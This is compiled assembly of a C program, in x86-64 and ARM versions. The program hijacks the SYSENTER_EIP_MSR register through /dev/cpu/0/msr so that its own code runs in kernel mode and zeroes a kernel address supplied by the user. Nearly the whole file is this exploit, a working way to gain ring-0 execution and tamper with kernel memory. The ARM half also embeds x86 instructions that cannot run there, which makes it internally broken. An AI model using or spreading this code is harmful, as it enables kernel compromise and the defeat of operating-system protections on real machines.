	.file	"125140505.c"
	.intel_syntax noprefix
	.text
	.globl	msr
	.bss
	.align 8
	.type	msr, @object
	.size	msr, 8
msr:
	.zero	8
	.globl	ourstack
	.align 32
	.type	ourstack, @object
	.size	ourstack, 524288
ourstack:
	.zero	524288
	.globl	payload_data
	.align 32
	.type	payload_data, @object
	.size	payload_data, 128
payload_data:
	.zero	128
	.text
	.globl	ring0
	.type	ring0, @function
ring0:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
#APP
# 50 "the_stack_data/125140505.c" 1
	.globl _ring0
_ring0:
.intel_syntax noprefix
.code64
mov esp, ecx
push rax
push rbx
push rcx
push rdx
mov rcx, qword ptr [rbx+8]
test rcx, rcx
jz skip_write
mov dword ptr [rcx], 0
skip_write:
mov ecx, 0x176
mov eax, dword ptr [rbx]
mov edx, dword ptr [rbx+4]
wrmsr
pop rdx
pop rcx
pop rbx
pop rax
sti
sysexit
.code32
.att_syntax prefix
.global _ring0_end
_ring0_end:

# 0 "" 2
#NO_APP
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	ring0, .-ring0
	.globl	saved_stack
	.bss
	.align 8
	.type	saved_stack, @object
	.size	saved_stack, 8
saved_stack:
	.zero	8
	.section	.rodata
.LC0:
	.string	"Unable to set priority.\n"
.LC1:
	.string	"Unable to set affinity.\n"
.LC2:
	.string	"/dev/cpu/0/msr"
.LC3:
	.string	"/dev/msr0"
	.align 8
.LC4:
	.string	"Unable to open /dev/cpu/0/msr\n"
	.align 8
.LC5:
	.string	"Unable to read /dev/cpu/0/msr\n"
	.align 8
.LC6:
	.string	"Old SYSENTER_EIP_MSR = %016llx\n"
	.align 8
.LC7:
	.string	"New SYSENTER_EIP_MSR = %016llx\n"
	.align 8
.LC8:
	.string	"Unable to modify /dev/cpu/0/msr\n"
.LC9:
	.string	"Success."
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 208
	mov	DWORD PTR -196[rbp], edi
	mov	QWORD PTR -208[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	QWORD PTR -160[rbp], 0
	cmp	DWORD PTR -196[rbp], 2
	jne	.L3
	mov	rax, QWORD PTR -208[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	strtoull@PLT
	mov	QWORD PTR -160[rbp], rax
.L3:
	mov	rax, QWORD PTR _ring0_end[rip]
	mov	rdx, rax
	mov	rax, QWORD PTR _ring0[rip]
	sub	rdx, rax
	mov	rax, QWORD PTR _ring0[rip]
	mov	rsi, rdx
	mov	rdi, rax
	call	mlock@PLT
	mov	esi, 128
	lea	rdi, payload_data[rip]
	call	mlock@PLT
	lea	rax, -144[rbp]
	mov	rsi, rax
	mov	eax, 0
	mov	edx, 16
	mov	rdi, rsi
	mov	rcx, rdx
	rep stosq
	mov	QWORD PTR -152[rbp], 0
	cmp	QWORD PTR -152[rbp], 1023
	ja	.L5
	mov	rax, QWORD PTR -152[rbp]
	shr	rax, 6
	lea	rdx, 0[0+rax*8]
	lea	rcx, -144[rbp]
	add	rdx, rcx
	mov	rsi, QWORD PTR [rdx]
	mov	rdx, QWORD PTR -152[rbp]
	and	edx, 63
	mov	edi, 1
	mov	ecx, edx
	sal	rdi, cl
	mov	rdx, rdi
	lea	rcx, 0[0+rax*8]
	lea	rax, -144[rbp]
	add	rax, rcx
	or	rdx, rsi
	mov	QWORD PTR [rax], rdx
.L5:
	mov	DWORD PTR -180[rbp], 99
	lea	rax, -180[rbp]
	mov	rdx, rax
	mov	esi, 1
	mov	edi, 0
	call	sched_setscheduler@PLT
	mov	DWORD PTR -172[rbp], eax
	cmp	DWORD PTR -172[rbp], 0
	je	.L6
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC0[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L6:
	lea	rax, -144[rbp]
	mov	rdx, rax
	mov	esi, 128
	mov	edi, 0
	call	sched_setaffinity@PLT
	mov	DWORD PTR -172[rbp], eax
	cmp	DWORD PTR -172[rbp], 0
	je	.L7
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC1[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L7:
	mov	esi, 2
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -176[rbp], eax
	cmp	DWORD PTR -176[rbp], 0
	jns	.L8
	mov	esi, 2
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -176[rbp], eax
	cmp	DWORD PTR -176[rbp], 0
	jns	.L8
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 30
	mov	esi, 1
	lea	rdi, .LC4[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L8:
	mov	eax, DWORD PTR -176[rbp]
	mov	edx, 0
	mov	esi, 374
	mov	edi, eax
	call	lseek@PLT
	mov	eax, DWORD PTR -176[rbp]
	mov	edx, 8
	lea	rsi, msr[rip]
	mov	edi, eax
	call	read@PLT
	mov	DWORD PTR -172[rbp], eax
	cmp	DWORD PTR -172[rbp], 8
	je	.L9
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 30
	mov	esi, 1
	lea	rdi, .LC5[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L9:
	mov	rax, QWORD PTR msr[rip]
	mov	QWORD PTR payload_data[rip], rax
	mov	rax, QWORD PTR -160[rbp]
	mov	QWORD PTR payload_data[rip+8], rax
	mov	rax, QWORD PTR msr[rip]
	mov	rsi, rax
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rdi, rax
	call	fflush@PLT
	mov	eax, DWORD PTR -176[rbp]
	mov	edx, 0
	mov	esi, 374
	mov	edi, eax
	call	lseek@PLT
	lea	rax, _ring0[rip]
	mov	QWORD PTR -168[rbp], rax
	mov	rax, QWORD PTR -168[rbp]
	mov	rsi, rax
	lea	rdi, .LC7[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rdi, rax
	call	fflush@PLT
	lea	rcx, -168[rbp]
	mov	eax, DWORD PTR -176[rbp]
	mov	edx, 8
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	mov	DWORD PTR -172[rbp], eax
	cmp	DWORD PTR -172[rbp], 8
	je	.L10
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 32
	mov	esi, 1
	lea	rdi, .LC8[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L10:
#APP
# 155 "the_stack_data/125140505.c" 1
	.intel_syntax noprefix
.code32
mov saved_stack, esp
lea ecx, ourstack
lea edx, label2
lea ebx, payload_data
sysenter
label2:
mov esp, saved_stack
.att_syntax prefix

# 0 "" 2
#NO_APP
	lea	rdi, .LC9[rip]
	call	puts@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L12
	call	__stack_chk_fail@PLT
.L12:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"125140505.c"
	.text
	.comm	msr,8,8
	.comm	ourstack,262144,4
	.comm	payload_data,128,8
	.align	2
	.global	ring0
	.syntax unified
	.arm
	.fpu softvfp
	.type	ring0, %function
ring0:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	.syntax divided
@ 50 "the_stack_data/125140505.c" 1
	.globl _ring0
_ring0:
.intel_syntax noprefix
.code64
mov esp, ecx
push rax
push rbx
push rcx
push rdx
mov rcx, qword ptr [rbx+8]
test rcx, rcx
jz skip_write
mov dword ptr [rcx], 0
skip_write:
mov ecx, 0x176
mov eax, dword ptr [rbx]
mov edx, dword ptr [rbx+4]
wrmsr
pop rdx
pop rcx
pop rbx
pop rax
sti
sysexit
.code32
.att_syntax prefix
.global _ring0_end
_ring0_end:

@ 0 "" 2
	.arm
	.syntax unified
	nop
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
	.size	ring0, .-ring0
	.comm	saved_stack,4,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Unable to set priority.\012\000"
	.align	2
.LC1:
	.ascii	"Unable to set affinity.\012\000"
	.align	2
.LC2:
	.ascii	"/dev/cpu/0/msr\000"
	.align	2
.LC3:
	.ascii	"/dev/msr0\000"
	.align	2
.LC4:
	.ascii	"Unable to open /dev/cpu/0/msr\012\000"
	.align	2
.LC5:
	.ascii	"Unable to read /dev/cpu/0/msr\012\000"
	.align	2
.LC6:
	.ascii	"Old SYSENTER_EIP_MSR = %016llx\012\000"
	.align	2
.LC7:
	.ascii	"New SYSENTER_EIP_MSR = %016llx\012\000"
	.align	2
.LC8:
	.ascii	"Unable to modify /dev/cpu/0/msr\012\000"
	.align	2
.LC9:
	.ascii	"Success.\000"
	.align	2
.LC10:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 176
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #176
	str	r0, [fp, #-176]
	str	r1, [fp, #-180]
	ldr	r3, .L13
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r2, #0
	mov	r3, #0
	str	r2, [fp, #-148]
	str	r3, [fp, #-144]
	ldr	r3, [fp, #-176]
	cmp	r3, #2
	bne	.L3
	ldr	r3, [fp, #-180]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	strtoull
	str	r0, [fp, #-148]
	str	r1, [fp, #-144]
.L3:
	ldr	r3, .L13+4
	ldr	r3, [r3]
	ldr	r2, .L13+8
	ldr	r2, [r2]
	mov	r1, r2
	ldr	r2, .L13+4
	ldr	r2, [r2]
	sub	r2, r1, r2
	mov	r1, r2
	mov	r0, r3
	bl	mlock
	mov	r1, #128
	ldr	r0, .L13+12
	bl	mlock
	sub	r3, fp, #136
	mov	r0, r3
	mov	r3, #128
	mov	r2, r3
	mov	r1, #0
	bl	memset
	mov	r3, #0
	str	r3, [fp, #-164]
	ldr	r3, [fp, #-164]
	cmp	r3, #1024
	bcs	.L5
	ldr	r3, [fp, #-164]
	lsr	r3, r3, #5
	lsl	r2, r3, #2
	sub	r1, fp, #136
	add	r2, r1, r2
	ldr	r1, [r2]
	ldr	r2, [fp, #-164]
	and	r2, r2, #31
	mov	r0, #1
	lsl	r2, r0, r2
	lsl	r3, r3, #2
	sub	r0, fp, #136
	add	r3, r0, r3
	orr	r2, r1, r2
	str	r2, [r3]
.L5:
	mov	r3, #99
	str	r3, [fp, #-172]
	sub	r3, fp, #172
	mov	r2, r3
	mov	r1, #1
	mov	r0, #0
	bl	sched_setscheduler
	str	r0, [fp, #-160]
	ldr	r3, [fp, #-160]
	cmp	r3, #0
	beq	.L6
	ldr	r3, .L13+16
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L13+20
	bl	fwrite
	mov	r0, #1
	bl	exit
.L6:
	sub	r3, fp, #136
	mov	r2, r3
	mov	r1, #128
	mov	r0, #0
	bl	sched_setaffinity
	str	r0, [fp, #-160]
	ldr	r3, [fp, #-160]
	cmp	r3, #0
	beq	.L7
	ldr	r3, .L13+16
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L13+24
	bl	fwrite
	mov	r0, #1
	bl	exit
.L7:
	mov	r1, #2
	ldr	r0, .L13+28
	bl	open
	str	r0, [fp, #-168]
	ldr	r3, [fp, #-168]
	cmp	r3, #0
	bge	.L8
	mov	r1, #2
	ldr	r0, .L13+32
	bl	open
	str	r0, [fp, #-168]
	ldr	r3, [fp, #-168]
	cmp	r3, #0
	bge	.L8
	ldr	r3, .L13+16
	ldr	r3, [r3]
	mov	r2, #30
	mov	r1, #1
	ldr	r0, .L13+36
	bl	fwrite
	mov	r0, #1
	bl	exit
.L8:
	mov	r2, #0
	ldr	r1, .L13+40
	ldr	r0, [fp, #-168]
	bl	lseek
	mov	r2, #8
	ldr	r1, .L13+44
	ldr	r0, [fp, #-168]
	bl	read
	str	r0, [fp, #-160]
	ldr	r3, [fp, #-160]
	cmp	r3, #8
	beq	.L9
	ldr	r3, .L13+16
	ldr	r3, [r3]
	mov	r2, #30
	mov	r1, #1
	ldr	r0, .L13+48
	bl	fwrite
	mov	r0, #1
	bl	exit
.L9:
	ldr	r3, .L13+44
	ldmia	r3, {r2-r3}
	ldr	r1, .L13+12
	stm	r1, {r2-r3}
	ldr	r1, .L13+12
	sub	r3, fp, #148
	ldmia	r3, {r2-r3}
	str	r2, [r1, #8]
	str	r3, [r1, #12]
	ldr	r3, .L13+44
	ldmia	r3, {r2-r3}
	ldr	r0, .L13+52
	bl	printf
	ldr	r3, .L13+56
	ldr	r3, [r3]
	mov	r0, r3
	bl	fflush
	mov	r2, #0
	ldr	r1, .L13+40
	ldr	r0, [fp, #-168]
	bl	lseek
	ldr	r3, .L13+4
	mov	r2, r3
	mov	r3, #0
	str	r2, [fp, #-156]
	str	r3, [fp, #-152]
	sub	r3, fp, #156
	ldmia	r3, {r2-r3}
	ldr	r0, .L13+60
	bl	printf
	ldr	r3, .L13+56
	ldr	r3, [r3]
	mov	r0, r3
	bl	fflush
	sub	r3, fp, #156
	mov	r2, #8
	mov	r1, r3
	ldr	r0, [fp, #-168]
	bl	write
	str	r0, [fp, #-160]
	ldr	r3, [fp, #-160]
	cmp	r3, #8
	beq	.L10
	ldr	r3, .L13+16
	ldr	r3, [r3]
	mov	r2, #32
	mov	r1, #1
	ldr	r0, .L13+64
	bl	fwrite
	mov	r0, #1
	bl	exit
.L10:
	.syntax divided
@ 155 "the_stack_data/125140505.c" 1
	.intel_syntax noprefix
.code32
mov saved_stack, esp
lea ecx, ourstack
lea edx, label2
lea ebx, payload_data
sysenter
label2:
mov esp, saved_stack
.att_syntax prefix

@ 0 "" 2
	.arm
	.syntax unified
	ldr	r0, .L13+68
	bl	puts
	mov	r3, #0
	ldr	r2, .L13
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L12
	bl	__stack_chk_fail
.L12:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L14:
	.align	2
.L13:
	.word	.LC10
	.word	_ring0
	.word	_ring0_end
	.word	payload_data
	.word	stderr
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	374
	.word	msr
	.word	.LC5
	.word	.LC6
	.word	stdout
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
